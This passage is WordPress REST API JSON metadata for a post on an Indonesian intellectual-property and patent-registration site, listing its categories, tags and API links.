apakah<\/p>\n","protected":false},"author":1,"featured_media":5877,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[277,356],"tags":[305,306,307,308,309,310,314,317,325,339,620],"class_list":["post-5872","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-intellectual-property","category-patent","tag-affa","tag-affa-ipr","tag-intellectual-property","tag-ip","tag-kekayaan-intelektual","tag-ki","tag-your-ip-is-our-expertise","tag-timing-is-everything","tag-patent","tag-paten","tag-indonesia-patent-registration"],"_links":{"self":[{"href":"https:\/\/affa.co.id\/bhs\/wp-json\/wp\/v2\/posts\/5872","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/affa.co.id\/bhs\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/affa.co.id\/bhs\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/affa.co.id\/bhs\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/affa.co.id\/bhs\/wp-json\/wp\/v2\/comments?post=5872"}],"version-history":[{"count":0,"href":"https:\/\/affa.co.id\/bhs\/wp-json\/wp\/v2\/posts\/5872\/revisions"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/affa.co.id\/bhs\/wp-json\/wp\/v2\/media\/5877"}],"wp:attachment":[{"href":"https:\/\/affa.co.id\/bhs\/wp-json\/wp\/v2\/media?parent=5872"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/affa.co.id\/bhs\/wp-json\/wp\/v2\/categories?post=5872"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/affa.co.id\/bhs\/wp-json\/wp\/v2\/tags?post=5872"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}